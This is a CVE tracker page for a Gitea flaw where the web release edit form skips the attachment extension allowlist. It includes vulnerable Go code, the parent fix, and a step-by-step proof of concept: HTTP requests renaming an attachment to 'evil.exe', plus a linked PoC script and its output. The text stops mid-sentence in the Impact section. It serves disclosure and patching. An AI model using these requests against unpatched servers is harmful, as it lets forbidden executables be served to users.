Skip to main content
CVE-2026-58428VulnerabilityPublished

code.gitea.io/gitea · Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

Affects code.gitea.io/giteaSource GCVE Database

0

Mentioned vulnerabilities

Authoritative record:CVE-2026-58428· Medium 6.5

Not known to be exploited · CVSS 6.5 Medium : upgrade to 1.27.0 when convenient.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score
6.5Medium
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.4% chance of exploitation in 30 days – higher than 39% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 1.27.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

  1. Disclosed: evidence found.

    CVE published 13 Aug 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: evidence found.

    CISA SSVC: proof of concept public

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

Timeline

  1. CVE ID reserved

    by Gitea Limited

    , 44 days before disclosure

  2. CVE published

    on cve.org

    , t = 0

  3. CISA SSVC assessment

    proof of concept public

    , 25 hours after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade code.gitea.io/gitea to 1.27.0.

Affected software

ProductAffectedFixed in
Gocode.gitea.io/giteaAffected
  • <1.27.0
Fixed in
  • 1.27.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The web handler `EditReleasePost` (`routers/web/repo/release.go`) reads form fields with prefix `attachment-edit-{uuid}` into a `map[uuid]newName`, passes that map to `release_service.UpdateRelease`, which writes the new name to the database via `repo_model.UpdateAttachmentByUUID` WITHOUT calling `upload.Verify` against `setting.Repository.Release.AllowedTypes`. The parent CVE-2025-68939 fix (PR #32151) added the equivalent `upload.Verify` call on the API edit endpoints via `attachment_service.UpdateAttachment`. The web release edit path was not updated. A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist. ## Details ### Vulnerable code `routers/web/repo/release.go:597` `EditReleasePost`: ```go const editPrefix = "attachment-edit-" editAttachments := make(map[string]string) if setting.Attachment.Enabled { for k, v := range ctx.Req.Form { if strings.HasPrefix(k, editPrefix) { editAttachments[k[len(editPrefix):]] = v[0] } } } ... if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo, rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil { ctx.ServerError("UpdateRelease", err) return } ``` `services/release/release.go:321` -- the unvalidated write: ```go for uuid, newName := range editAttachments { if !deletedUUIDs.Contains(uuid) { if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } } ``` No `upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)` before the database write. ### Comparison: the parent fix on the API path `routers/api/v1/repo/release_attachment.go:341` (patched in PR #32151): ```go if err := attachment_service.UpdateAttachment(ctx, setting.Repository.Release.AllowedTypes, attach); err != nil { if upload.IsErrFileTypeForbidden(err) { ctx.Error(http.StatusUnprocessableEntity, "", err) return } ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) return } ``` Delegates to: ```go // services/attachment/attachment.go:96 func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { return err } return repo_model.UpdateAttachment(ctx, attach) } ``` The API path goes through `attachment_service.UpdateAttachment` which calls `upload.Verify(nil, attach.Name, allowedTypes)`. The web path bypasses this entirely. ## Proof of Concept Tested live against: * Gitea `v1.26.1` community edition, Linux amd64, SQLite, Go 1.26.2 * `app.ini` includes `[repository.release] ALLOWED_TYPES = .zip,.tar.gz` * Two users: `admin` (superuser, created via `gitea admin user create --admin`), `bob` (regular, repo owner of `bob/test-repo`) **Step 1**: bob creates release v0.1 and uploads `innocent.zip` (allowlist compliant) via the API. **Step 2**: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension. ```http PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Authorization: token <bob_token> Content-Type: application/json {"name":"evil.exe"} ``` Response: `HTTP 422` -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action). **Step 3**: The attack. The web release edit form does NOT enforce the allowlist. ```http POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 Cookie: i_like_gitea=<session>; lang=en-US Content-Type: application/x-www-form-urlencoded tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit-<existing_attachment_uuid>=evil.exe ``` Response: `HTTP 303 -> /bob/test-repo/releases`. The form is accepted with no validation error. **Step 4**: Verify. ```http GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 ``` Response includes `"name": "evil.exe"`. The download link `/attachments/<uuid>` now serves the file under the forbidden extension. A self contained Python PoC ships with this advisory: `GITEA-R007_release_edit_extension_bypass.py`. End to end run: [GITEA-R007_release_edit_extension_bypass.py](https://github.com/user-attachments/files/27739265/GITEA-R007_release_edit_extension_bypass.py) ``` [+] Logged in as bob [+] Pre-attack attachment name: 'innocent2.zip' [+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix) [+] POST release edit: HTTP 303 -> /bob/test-repo/releases [+] Post-attack attachment name: 'pwn.exe' [!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist. ``` ## Impact Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2): * Pre-condition: operator has set `Repository.Release.AllowedTypes` to

References

Community reviews

Loading reviews…